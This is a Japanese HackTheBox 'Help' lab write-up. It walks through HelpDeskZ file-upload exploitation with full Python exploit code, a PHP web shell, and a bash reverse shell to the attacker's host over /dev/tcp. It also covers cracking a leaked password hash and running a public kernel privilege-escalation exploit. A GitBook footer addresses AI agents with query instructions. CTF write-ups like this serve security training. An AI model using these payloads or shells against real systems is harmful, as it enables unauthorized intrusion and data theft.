> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/help-hackthebox-writeup.md). # Help HackTheBox 攻略記事 Help HackTheBox Linux 攻略記事。HelpDeskZ のファイルアップロード、Web シェルアクセス、ローカルカーネル権限昇格をカバー。 {% embed url="" %} {% hint style="warning" %} **スキル:** * Webディレクトリ列挙 * HelpDeskZの任意ファイルアップロード * Linuxカーネルの権限昇格 {% endhint %} ## 偵察 ### 作業環境の準備スキャン結果、発見したコンテンツ、エクスプロイト、補助スクリプト用のディレクトリを作成する。 ```bash mkdir {nmap,content,exploits,scripts} ```

### 接続確認対象に到達可能であることを確認する。TTLはLinuxホストを示している。ローカルツール用に対象を設定する。 ```bash ping -c 1 10.129.230.159 settarget Help 10.129.230.159 ```

### ポート探索開いているポートを特定するために、TCPのフルスキャンを実行する。 ```bash nmap -p- --open -Pn -sS -n --min-rate 5000 10.129.230.159 -oG allPorts ``` スキャンでポートが特定される `22`, `80`、および `3000`.

対象を絞ったサービス・バージョンスキャンを実行する。 ```bash nmap -sCV -p22,80,3000 10.129.230.159 -oN targeted ```

対象のホスト名を追加する `/etc/hosts`. ```bash nano /etc/hosts ```

### Web列挙ポート `80` デフォルトの Apache ページを表示している。

Gobusterを使ってWebディレクトリを発見する。 {% code overflow="wrap" %} ```bash gobuster dir -u http://help.htb -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 ``` {% endcode %} スキャンは `/support` アプリケーションを発見する。

このアプリケーションはHelpDeskZヘルプデスクプラットフォームを使用している。

## 初期アクセス公開されているHelpDeskZのエクスプロイトを探す。認証なしで動作する任意ファイルアップロードの脆弱性がある。 {% code overflow="wrap" %} ```bash searchsploit helpdeskz ``` {% endcode %}

このエクスプロイトは、ファイル名とアップロード時刻からアップロードパスを計算する。 {% code overflow="wrap" %} ```python import sys import requests import hashlib from time import time def md5(data): return hashlib.md5(data).hexdigest() def get(base, filename, at): uploaded_file = "{}/uploads/tickets/{}.{}".format( base.rstrip("/"), md5(filename + str(at)), filename.split(".")[-1] ) r = requests.get(uploaded_file) if r.status_code == 200: return uploaded_file def main(argv): if len(sys.argv) < 3: print("USAGE: {} HELPDESKZ_URL FILENAME".format(argv[0])) return for i in range(1000): url = get(argv[1], argv[2], int(time() - i)) if url is not None: print(url) return print("Oops ... not found") if __name__ == "__main__": main(sys.argv) ``` {% endcode %} HelpDeskZインスタンスに対してエクスプロイトを実行する。 {% code overflow="wrap" %} ```bash python2 exploit.py http://help.htb/support/ cmd.php ``` {% endcode %} 最小限のPHPウェブシェルを次のようにアップロードする `cmd.php`. {% code overflow="wrap" %} ```bash " . shell_exec($_GET['cmd']) . ""; ?> ``` {% endcode %}

エクスプロイトはアップロードされたファイルのパスを返す。 * [アップロードされたウェブシェル](http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php) リモートでのコマンド実行を確認する。 {% code overflow="wrap" %} ```bash http://help.htb/support/uploads/tickets/570cb591d88c7ef87a44cae4f86e3c4d.php?cmd=id ``` {% endcode %}

ユーザーフラグを読み取ります。 {% code overflow="wrap" %} ```bash ?cmd=cat /home/help/user.txt ``` {% endcode %}

リバースシェル用のリスナーを開始する。 {% code overflow="wrap" %} ```bash nc -nvlp 443 ``` {% endcode %} 次のコマンドをウェブシェル経由で実行する。 {% code overflow="wrap" %} ```bash bash -c "bash -i >%26 /dev/tcp/10.10.15.2/443 0>%261" ``` {% endcode %}

### シェルの安定化シェルを完全な対話型TTYにアップグレードする。 {% code overflow="wrap" %} ``` script /dev/null -c bash # Ctrl+Z を押す stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` {% endcode %} ### 権限昇格その `help` homeディレクトリには、ポートで公開されているNode.jsアプリケーションが含まれている `3000`.

保存されたパスワードをアプリケーションファイル内から検索する。 {% code overflow="wrap" %} ```bash grep -RIn --exclude-dir=node_modules "password" . ``` {% endcode %} 検索により、複数のファイルで認証情報が見つかる。

* * 5d3c93182bb20f07b994a7f617e99cff CrackStationでMD5ハッシュを解読する。 {% embed url="" %} パスワードは弱い: * godhelpmeplz

インストールされているOSのバージョンを特定する。 {% code overflow="wrap" %} ```bash cat /etc/os-release ``` {% endcode %}

ホストはUbuntuを実行している `16.04` 、カーネルは `4.4.0-116`。このバージョンは公開されているローカル権限昇格エクスプロイトと一致する。 {% embed url="" %} 生のエクスプロイトソースをダウンロードする。 {% embed url="" %} 攻撃側マシンでエクスプロイトをホストする。 {% code overflow="wrap" %} ```bash wget https://www.exploit-db.com/raw/44298 python3 -m http.server 8081 ``` {% endcode %} 対象からダウンロードする。 {% code overflow="wrap" %} ```bash wget http://10.10.15.2:8081/44298 ``` {% endcode %}

エクスプロイトをコンパイルして実行する。 {% code overflow="wrap" %} ```bash mv 44298 exploit.c gcc -o exploit exploit.c ./exploit ``` {% endcode %} このエクスプロイトはシェルを返す `root`.

### root.txt フラグ

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/help-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.